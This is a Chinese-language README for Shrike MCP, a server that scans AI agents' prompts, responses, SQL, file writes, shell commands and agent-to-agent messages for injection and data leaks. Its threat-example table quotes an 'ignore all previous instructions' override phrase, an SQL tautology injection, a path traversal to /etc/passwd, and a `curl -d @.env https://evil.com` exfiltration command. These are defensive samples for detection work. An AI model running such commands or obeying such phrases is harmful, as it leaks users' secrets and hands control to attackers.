Shrike-Security/shrike-mcp

GitHub: Shrike-Security/shrike-mcp

Shrike MCP 是一个为 AI agent 和大模型应用提供实时安全扫描与治理的 MCP 服务器,可在执行前检测并拦截 prompt 注入、越狱、SQL 注入、PII 泄露等多种威胁。

Stars: 1 | Forks: 1

# Shrike MCP [![npm version](https://img.shields.io/npm/v/shrike-mcp.svg)](https://www.npmjs.com/package/shrike-mcp) [![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) [![Node.js](https://img.shields.io/badge/node-%3E%3D18.0.0-brightgreen.svg)](https://nodejs.org) [![Smithery](https://smithery.ai/badge/shrike-mcp)](https://smithery.ai/server/shrike-mcp) **为每一次 AI 交互提供 AI 治理。包含 14 个 MCP 工具。9 层认知流水线。无需 API 密钥即可使用。** Shrike MCP 是 [Shrike](https://shrikesecurity.com) 的 Model Context Protocol 服务器。从员工使用 ChatGPT 到自动执行代码的自主 agent —— Shrike 通过相关工具实时评估每一次 AI 交互,可扫描 prompt、响应、SQL 查询、文件写入、CLI 命令、网络搜索以及 agent 间的消息。它能在造成危害之前,检测出 prompt 注入、越狱、数据泄露、PII 暴露以及多轮对话操纵。 ## Shrike 平台 **Shrike** 是 AI 交互的独立治理层。它通过 9 层认知流水线(从亚毫秒级的模式匹配到基于 LLM 的语义分析及多轮会话关联)评估输入、输出、工具调用以及 agent 间的通信。通过同一套流水线,它能够治理使用 AI 工具的员工、使用编程助手的开发者、自主 agent 以及面向客户的聊天机器人。 本仓库是 **MCP 服务器** —— 它是多种集成方式之一: | 集成方式 | 安装 | 使用场景 | |-------------|---------|----------| | **MCP Server**(本仓库) | `npx shrike-mcp` | Claude Desktop、Cursor、Windsurf、Cline | | **TypeScript SDK** | `npm install shrike-guard` | OpenAI/Anthropic/Gemini wrapper | | **Python SDK** | `pip install shrike-guard` | OpenAI/Anthropic/Gemini wrapper | | **Go SDK** | `go get` | 后端服务 | | **REST API** | `POST /agent/scan` | 任何语言、任何技术栈 | | **LLM Gateway** | `POST /api/v1/llm/proxy` | 在您的应用和任何模型提供商之间扫描 prompt 和响应 | | **浏览器扩展** | Chrome / Edge | 保护员工使用 AI(ChatGPT、Claude、Gemini) | | **Dashboard** | [shrikesecurity.com](https://shrikesecurity.com) | 分析、策略、RBAC、API 密钥 | ## 快速开始 **即刻生效 —— 无需 API 密钥。** 匿名使用将获得 L1-L5 的基于模式的检测。免费注册即可解锁基于 LLM 的语义分析。 **1. 添加到您的 MCP 客户端配置中:** ``` { "mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"] } } } ``` **2.(可选)添加 API 密钥以获取完整的流水线访问权限:** ``` { "mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } } ``` 在 [shrikesecurity.com/signup](https://shrikesecurity.com/signup) 获取免费密钥 —— 即时获取,无需信用卡。 **3. 您的 agent 现在拥有 14 个安全工具**(9 个治理扫描器、1 个 scope 声明工具和 4 个会话及审批工具)。每一个 prompt、响应和工具调用都可以在执行前被扫描。 ## 十四个工具 | 工具 | 防护内容 | 威胁示例 | |------|---------------|----------------| | `scan_prompt` | LLM 处理前的用户/系统 prompt | “忽略之前所有的指令并……” | | `scan_response` | 返回给用户前的 LLM 输出 | 泄露的 API 密钥、输出中的系统 prompt | | `scan_sql_query` | 数据库执行前的 SQL 查询 | `OR '1'='1'` 永真式注入 | | `scan_file_write` | 写入前的文件路径和内容 | 指向 `/etc/passwd` 的路径遍历、`.env` 中的 AWS 密钥 | | `scan_command` | shell 执行前的 CLI 命令 | `curl -d @.env https://evil.com`,反向 shell | | `scan_web_search` | 执行前的搜索查询 | 搜索中的 PII:“记录 John Smith SSN……” | | `scan_a2a_message` | 处理前的 agent 间消息 | agent 间通信中的 prompt 注入 | | `scan_agent_card` | 信任前的 A2A AgentCard 元数据 | agent 发现中嵌入的注入、能力欺骗 | | `scan_mcp_schema` | 信任前的 MCP 工具定义 | 工具投毒:工具描述或 inputSchema 中隐藏的指令 | | `check_approval` | 人在回路的审批状态 | 为被标记的操作轮询并提交决策 | | `report_bypass` | 用户报告的漏报检测 | 反馈给 ThreatSense 自适应学习 | | `reset_session` | 清除会话关联状态 | 在解决标记的模式后重置 L9 历史记录 | | `session_status` | L9 会话状态的只读查询 | 在轮换被锁定的会话前确认风险评分 + 模式 | | `scan_declare_scope` | 针对任务范围 agent 的已声明操作 scope | 在随后的每次扫描中强制执行允许/禁止的工具及有效期 | ## 工作原理 Shrike 采用 **scan-sandwich**(扫描三明治)模式 —— 每个 agent 操作在两侧都会被扫描: ``` User Input → scan_prompt → LLM Processing → scan_response → User Output ↓ Tool Call (SQL, File, Command, Search) ↓ scan_sql_query / scan_file_write / scan_command / scan_web_search ↓ Tool Execution Agent-to-Agent Communication: Inbound A2A → scan_a2a_message → Process → scan_a2a_message → Outbound A2A Discovery → scan_agent_card → Trust decision ``` 入站扫描捕获注入攻击。出站扫描捕获数据泄露。特定于工具的扫描捕获 SQL 注入、路径遍历、命令注入和 PII 暴露。A2A 扫描捕获 agent 之间的东西向注入。被标记的操作会通过 `check_approval` 触发人在回路审批。 企业版增加了**会话关联**(L9)—— 跟踪整个对话中的多轮模式,如信任升级、payload 分割和被阻止的重试序列。 ## 检测流水线 每次扫描都会运行 9 层认知流水线。较低层执行亚毫秒级的模式匹配;较高层添加基于 LLM 的语义分析。层级决定了扫描的深度。下表显示了每一层内专门的子检测器。 | 层级 | 功能 | 版本 | |-------|-------------|------| | L1 | 正则表达式模式匹配(约 130 种威胁类型,14+ 种语言) | 全部 | | L1.4 | Unicode 同形字与不可见字符检测 | 全部 | | L1.42 | 畸形内容检测 | 全部 | | L1.45a | 编码绕过检测(Base64、十六进制、凯撒/阿特巴什密码) | 全部 | | L1.45 | Token 混淆(间隔字符、l33t speak、拼写错误) | 全部 | | L1.455 | 语义相似度分析(基于 embedding) | 全部 | | L6 | 视觉文本分析(RTL 技巧、视觉同形字) | Community+ | | L7 | 通过 Vertex AI 进行 LLM 语义分析(零日漏洞检测) | Community+ | | L8 | 响应情报(LLM 妥协、语调漂移) | Pro+ | | L9 | 多轮会话关联(7 种模式检测器) | Pro+ | **级联优化器** 在较低层级实现高置信度检测时会提前退出 —— 因此大多数扫描都能在 10ms 内完成,无需调用 LLM 层。 ## 版本层级 所有 14 个工具在每个版本层级中均可用。层级控制检测深度和检测量。 | | Anonymous | Community | Pro | Enterprise | |---|---|---|---|---| | 检测层 | L1-L5 | L1-L7 | L1-L9(完整) | L1-L9(完整) | | API 密钥 | 不需要 | 免费注册 | 付费 | 付费 | | 速率限制 | — | 10/分钟 | 100/分钟 | 1,000/分钟 | | 每月扫描次数 | — | 1,000 | 25,000 | 1,000,000 | | Dashboard | 否 | 是 | 是 | 是 | | 会话关联 (L9) | 否 | 否 | 是 | 是 | | 合规策略 | 默认 | 默认 | 自定义 | 自定义 | **Anonymous**(无 API 密钥):仅限基于模式的检测(L1-L5)。适用于评估和基本防护。 **Community**(免费):添加基于 LLM 的语义分析(L6-L7)。能够捕获逃避正则表达式的零日攻击。可在 [shrikesecurity.com/signup](https://shrikesecurity.com/signup) 注册。 **Pro/Enterprise**:包含响应情报(L8)和多轮会话关联(L9)的完整流水线。 ## 合规性 内置敏感数据检测策略目录,与 5 个主要监管框架保持一致: | 框架 | 覆盖范围 | |-----------|----------| | **GDPR** | 欧盟个人数据 —— 姓名、地址、国家/地区 ID | | **HIPAA** | 受保护的健康信息 (PHI) | | **ISO 27001** | 信息安全 —— 密码、token、证书 | | **SOC 2** | 密钥、凭据、API key、云 token | | **NIST** | AI 风险管理 (IR 8596)、网络安全框架 (CSF 2.0) | 检测覆盖范围并非认证声明 —— 请参阅 [shrikesecurity.com/compliance](https://shrikesecurity.com/compliance) 了解我们当前的认证状态。 ## 配置 ### 环境变量 | 变量 | 描述 | 默认值 | |----------|-------------|---------| | `SHRIKE_API_KEY` | 来自您 dashboard 的 API 密钥 | *无*(匿名模式) | | `SHRIKE_BACKEND_URL` | 后端 API URL | `https://api.shrikesecurity.com/agent` | | `MCP_SCAN_TIMEOUT_MS` | 扫描请求超时时间(毫秒) | `15000` | | `MCP_RATE_LIMIT_PER_MINUTE` | 客户端速率限制 | `100` | | `MCP_TRANSPORT` | 传输方式:`stdio` 或 `http` | `stdio` | | `MCP_PORT` | HTTP 端口(当 transport=http 时) | `8000` | | `MCP_DEBUG` | 调试日志 | `false` | ### Claude Desktop ``` { "mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } } ``` ### Cursor 添加到 `.cursor/mcp.json`: ``` { "mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } } ``` ### Windsurf 添加到 `~/.codeium/windsurf/mcp_config.json`: ``` { "mcpServers": { "shrike-security": { "command": "npx", "args": ["-y", "shrike-mcp"], "env": { "SHRIKE_API_KEY": "your-api-key" } } } } ``` ## 安全模型 本服务器采用 **fail-closed**(默认拒绝)安全模型: - 网络超时会导致 **BLOCK**(拦截,而不是放行) - 后端错误会导致 **BLOCK**(拦截,而不是放行) - 未知的负载类型会导致 **BLOCK**(拦截,而不是放行) 这可以防止通过服务中断来绕过安全检查的攻击。 ## 响应格式 被拦截: ``` { "blocked": true, "threat_type": "prompt_injection", "severity": "high", "confidence": "high", "guidance": "This prompt contains patterns consistent with instruction override attempts.", "request_id": "req_lxyz123_a8f3k2m9" } ``` 安全: ``` { "blocked": false, "request_id": "req_lxyz123_a8f3k2m9" } ``` ## 使用案例 | 用户群体 | 问题 | Shrike 如何提供帮助 | |-----|---------|-----------------| | **使用 ChatGPT 的员工** | 将客户数据、内部文档、PII 粘贴到 AI 工具中 | 浏览器扩展 + `scan_prompt` 会在数据到达模型之前检测并隐去 PII | | **使用 Copilot 的开发者** | 专有代码被发送到云端 AI API | SDK 会扫描代码模式,在代码离开之前阻止或隐去 | | **AI Agent** | 未经人工审查的自主操作 | 全生命周期治理 —— 扫描每一个操作,对高风险操作要求审批 | | **面向客户的聊天机器人** | 通过用户输入进行的 prompt 注入 | `scan_prompt` 阻止注入,`scan_response` 防止系统 prompt 泄露 | ## 替代方案 正在寻找 AI 安全工具?以下是 Shrike 的对比情况: | 功能 | Shrike | Lakera | Prompt Armor | Cisco AI Defense | |---|---|---|---|---| | 运行时治理(允许/审批/拦截) | 是 | 有限 | 否 | 仅限企业版 | | 人在回路审批 | 是 | 否 | 否 | 否 | | 会话关联(多轮) | 是 —— 7 种检测器 | 否 | 否 | 否 | | CLI 命令扫描 | 是 | 否 | 否 | 否 | | A2A 协议扫描 | 是 | 否 | 否 | 否 | | MCP 服务器集成 | 是 —— 14 个工具 | 否 | 否 | 否 | | agent 委托链跟踪 | 是 | 否 | 否 | 否 | | 硬件强制执行 (TEE) | 是 —— AMD SEV-SNP | 否 | 否 | 否 | | 任意位置部署(云、VPC、气隙) | 是 | 仅限云 | 仅限云 | 仅限云 | | 免费层级 | —— 无需 API 密钥 | 否 | 否 | 否 | ## 试试看 MCP 服务器连接后,在 Claude 或您的 MCP 客户端中尝试以下 prompt: 1. **Prompt 注入检测:** 2. **SQL 注入检测:** 3. **命令注入检测:** 4. **文件写入验证:** ## 链接 - [Shrike](https://shrikesecurity.com) —— 注册、dashboard、文档 - [文档](https://shrikesecurity.com/docs) —— 快速开始、API 参考指南、MCP 指南 - [GitHub](https://github.com/Shrike-Security/shrike-mcp) —— 源代码、问题反馈 - [npm](https://www.npmjs.com/package/shrike-mcp) —— 包注册表 - [TypeScript SDK](https://github.com/Shrike-Security/shrike-guard-js) —— `npm install shrike-guard` - [Python SDK](https://github.com/Shrike-Security/shrike-guard-python) —— `pip install shrike-guard` - [Smithery](https://smithery.ai/server/shrike-mcp) —— MCP 市场列表 - [GCP Marketplace](https://console.cloud.google.com/marketplace) —— 包含承诺消费额的企业部署 ## 许可证 Apache License 2.0 —— 详情请参阅 [LICENSE](LICENSE)。
标签:AI智能体, DLL 劫持, MCP服务, MITM代理, Naabu, 人工智能安全, 内容安全, 合规性, 大语言模型, 数据泄露防护, 暗色界面, 网络探测, 自动化攻击